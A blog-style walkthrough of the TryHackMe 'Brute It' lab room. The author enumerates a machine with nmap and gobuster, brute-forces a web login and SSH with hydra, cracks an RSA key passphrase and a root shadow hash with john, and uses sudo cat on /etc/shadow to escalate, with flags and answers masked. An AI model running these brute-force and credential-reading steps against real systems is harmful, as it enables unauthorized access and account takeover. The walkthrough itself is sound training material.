The Brute it room on TryHackMe is an easy-level, brute-forcing focused room. From the amount of questions and questions it seems like a bit of a walkthrough, but that’s fine by me!
Learn how to brute, hash cracking and escalate privileges in this box!
Brute-forcing with hydra
and cracking hashes with john
are things I’ve done before. I’ve not escalated privileges all that often, so I’m excited to see how we can do this (Linpeas
maybe? We’ll see!)
Deploy the machine
Easy enough. I always like when a room’s first question is to launch a room. Makes it easy to get a streak too… ;)
Before attacking, let’s get information about the target Search for open ports using nmap. How many ports are open?
I like the structure of this room. I’ve said this in previous posts - I’m not on the Red-Team. I enjoy the investigation side of InfoSec over exploitation so it’s nice when a room gives a guide.
So - How many ports are open? Let’s run a quick nmap
scan:
root@ip-10-201-25-219:~# nmap 10.201.103.236
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-10 11:14 BST
Nmap scan report for ip-10-201-103-236.ec2.internal (10.201.103.236)
Host is up (0.000080s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 16:FF:F6:C8:9E:27 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
I’ve addressed this in previous write-ups but I don’t tend to add any options to nmap
when I’m conucting initial recon on a target machine. For these easy level rooms that’s all you usually need anyway…
What version of SSH is running?
… Except for this room.
root@ip-10-201-25-219:~# nmap 10.201.103.236 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-10 11:19 BST
Nmap scan report for ip-10-201-103-236.ec2.internal (10.201.103.236)
Host is up (0.000085s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH *.*** ****** 4******0.3 (******Linux; protocol 2.0)
80/tcp open http Apache httpd *.*.** ((******))
MAC Address: 16:FF:F6:C8:9E:27 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds
Adding -sV
makes this pretty simple to see the answer.
What version of Apache is running?
We get the answer for this above as well.
Which Linux distribution is running?
Same with this answer. We’re speeding through these questions!
Search for hidden directories on web server. What is the hidden directory?
Alright, gobuster
time!
I like gobuster
. There are other tools you can use - dirbuster
, dirb
, ffuf
, but gobuster
is my go to. It’s just nice to use. If you go back through my write-ups you’ll see me using a whole lot of tools - I’ve settled on gobuster
for now though:
root@ip-10-201-25-219:~# gobuster dir -u 10.201.103.236 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.201.103.236
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/******* (Status: 301) [Size: 316] [--> http://10.201.103.236/*******/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================
Wonderful! Now we have the super secret directory. Onto the next task!
What is the user:password of the admin panel?
If we go to the URL we found above we’re greeted by the below login page:
I like to look at the source of pages before attempting a blind brute-force. CTFs often like to give little hints in comments. You can also see where scripts are that are being run are which can be useful.
Thankfully this room has a pretty big hint in the source:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="styles.css">
<title>Admin Login Page</title>
</head>
<body>
<div class="main">
<form action="" method="POST">
<h1>LOGIN</h1>
<label>USERNAME</label>
<input type="text" name="user">
<label>PASSWORD</label>
<input type="password" name="pass">
<button type="submit">LOGIN</button>
</form>
</div>
<!-- Hey john, if you do not remember, the username is admin -->
</body>
</html>
Time to bruteforce admin
’s password!
We’ll be using hydra
for this. I wanted to get the error message we get - So I tried admin:password
to get the error message ‘Username or password invalid’. We can use this in just a bit!
Next we’ll open up Burpsuite and enter the url we found to the sandbox. We want to capture the request so we can see how it’s formed (and bruteforce). We can bruteforce it through Burpsuite - But I like using Hydra. Sue me.
Here’s the request:
POST /*******/ HTTP/1.1
Host: 10.201.103.236
Content-Length: 28
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://10.201.103.236
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.201.103.236/*****/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=qrad813of7k094u2non92efpeu
Connection: keep-alive
user=admin&pass=gejsnhjdnhas
Cool - All we really need is at the bottom there.
Along with the error message we received earlier, we now have enough to brute force this password.
root@ip-10-201-25-219:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.103.236 http-post-form "/*****/:user=admin&pass=^PASS^:invalid"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:06:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.201.103.236:80/*****/:user=admin&pass=^PASS^:invalid
[ERROR] Child with pid 16276 terminating, cannot connect
[ERROR] Child with pid 16279 terminating, cannot connect
[ERROR] Child with pid 16282 terminating, cannot connect
[ERROR] Child with pid 16278 terminating, cannot connect
[ERROR] Child with pid 16283 terminating, cannot connect
[ERROR] Child with pid 16285 terminating, cannot connect
[ERROR] Child with pid 16281 terminating, cannot connect
[ERROR] Child with pid 16286 terminating, cannot connect
[ERROR] Child with pid 16273 terminating, cannot connect
[ERROR] Child with pid 16287 terminating, cannot connect
[ERROR] Child with pid 16274 terminating, cannot connect
[ERROR] Child with pid 16288 terminating, cannot connect
[ERROR] Child with pid 16275 terminating, cannot connect
[ERROR] Child with pid 16280 terminating, cannot connect
[ERROR] Child with pid 16284 terminating, cannot connect
[ERROR] Child with pid 16277 terminating, cannot connect
Well. That wasn’t going well.
I did some quick searching and this should be working fine. I ended up terminating the current instance of the machine and relaunching it. Let’s try again!
root@ip-10-201-55-71:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.201.115.13 http-post-form "/*****/:user=^USER^&pass=^PASS^:F=Username or password invalid"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:18:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.201.115.13:80/*****/:user=^USER^&pass=^PASS^:F=Username or password invalid
[80][http-post-form] host: 10.201.115.13 login: admin password: *****
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-10 12:19:01
That worked!
I think this is a good time to talk about walkthroughs on rooms like this. When you’re starting out on challenges like this there’s nothing wrong with looking at a walkthrough when you get stuck. If you’re stuck and not too sure what the next steps are then a walkthrough will point you in the right direction. When I first started doing challenges I felt weird about this - It almost felt like cheating. Thankfully most of the rooms on TryHackMe have writeups listed that don’t just give you the answer. It doesn’t reflect badly on you for looking for hints.
Anyway - I’ll also try brute-force the ssh
login, just in case the username admin
is used there too:
root@ip-10-201-55-71:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.201.115.13
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 12:28:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.201.115.13:22/
[STATUS] 179.00 tries/min, 179 tries in 00:01h, 14344222 to do in 1335:36h, 16 active
[STATUS] 130.33 tries/min, 391 tries in 00:03h, 14344010 to do in 1834:17h, 16 active
We’ll let that run in the background for a while. It’s likely we’ll get more information later on anyway.
Crack the RSA key you found. What is John’s RSA Private Key passphrase?
If we go to the URL and enter the credentials we brute-forced we’re greeted by a nice fancy webpage (No CSS, just a header) - “Hello john, finish the development of the site, here’s your RSA private key.”
We also get a flag, but we’ll touch on that later.
john
time. We have the id_rsa
file, but need this in a format that john
can read. We can use ssh2john.py
to do this pretty easily. I downloaded the file into ~/Downloads/
first, then ran ssh2john.py
on it, then let john
go wild:
root@ip-10-201-55-71:~/Downloads# /opt/john/ssh2john.py ./id_rsa > johnny
root@ip-10-201-55-71:~/Downloads# john ./johnny --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (./id_rsa)
1g 0:00:00:09 DONE (2025-08-10 12:41) 0.1074g/s 1540Kp/s 1540Kc/s 1540KC/s *7¡Vamos!
Session completed.
There’s the cracked password for it!
user.txt
This took me longer than expected. With the password we just got I assumed this was the ssh
password, but no - it’s the password for the RSA Private Key. I should’ve pieced this together by the wording of the previous question. Whoopsies.
root@ip-10-201-55-71:~/Downloads# ssh -i ./id_rsa john@10.201.115.13
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for './id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "./id_rsa": bad permissions
Looks like we’ll need to change the permissions on the rsa
key first.
root@ip-10-201-55-71:~/Downloads# chmod 600 ./id_rsa
root@ip-10-201-55-71:~/Downloads# ssh -i ./id_rsa john@10.201.115.13
Enter passphrase for key './id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-118-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Aug 10 11:51:47 UTC 2025
System load: 0.07 Processes: 109
Usage of /: 25.7% of 19.56GB Users logged in: 0
Memory usage: 21% IP address for ens5: 10.201.115.13
Swap usage: 0%
63 packages can be updated.
0 updates are security updates.
Last login: Wed Sep 30 14:06:18 2020 from 192.168.1.106
There we go. Now to find the flag:
john@bruteit:~$ ls
user.txt
john@bruteit:~$ cat user.txt
THM{**********************}
Easy peasy.
Web flag
The pacing of the questions is a little weird. We get the web flag earlier before we even download the rsa file but the question for the flag is only asked for here. If we go to the URL where we downloaded the file (after logging in with the credentials we cracked earlier) we get the flag.
Find a form to escalate your privileges. What is the root’s password?
This is where I’ve not had too much experience before. We can run sudo -l
to see what files we can run as sudo
:
john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/cat
We can use cat
as sudo
. Let’s see if we can cat /etc/shadow
to find the hash for root
:
john@bruteit:~$ sudo cat /etc/shadow | grep root
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
Now that we have the hash of their password we can use john
once again. I saved the first part of the hash to a file named roothash
before this:
root@ip-10-201-55-71:~# john ./roothash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********* (?)
1g 0:00:00:00 DONE (2025-08-10 13:08) 2.040g/s 522.4p/s 522.4c/s 522.4C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We have the root password now. We can just su
to root and get the final flag:
john@bruteit:~$ su root
Password:
root@bruteit:/home/john# cd
root@bruteit:~# ls
root.txt
root@bruteit:~# cat root.txt
THM{********************}
That was fun! Another room down.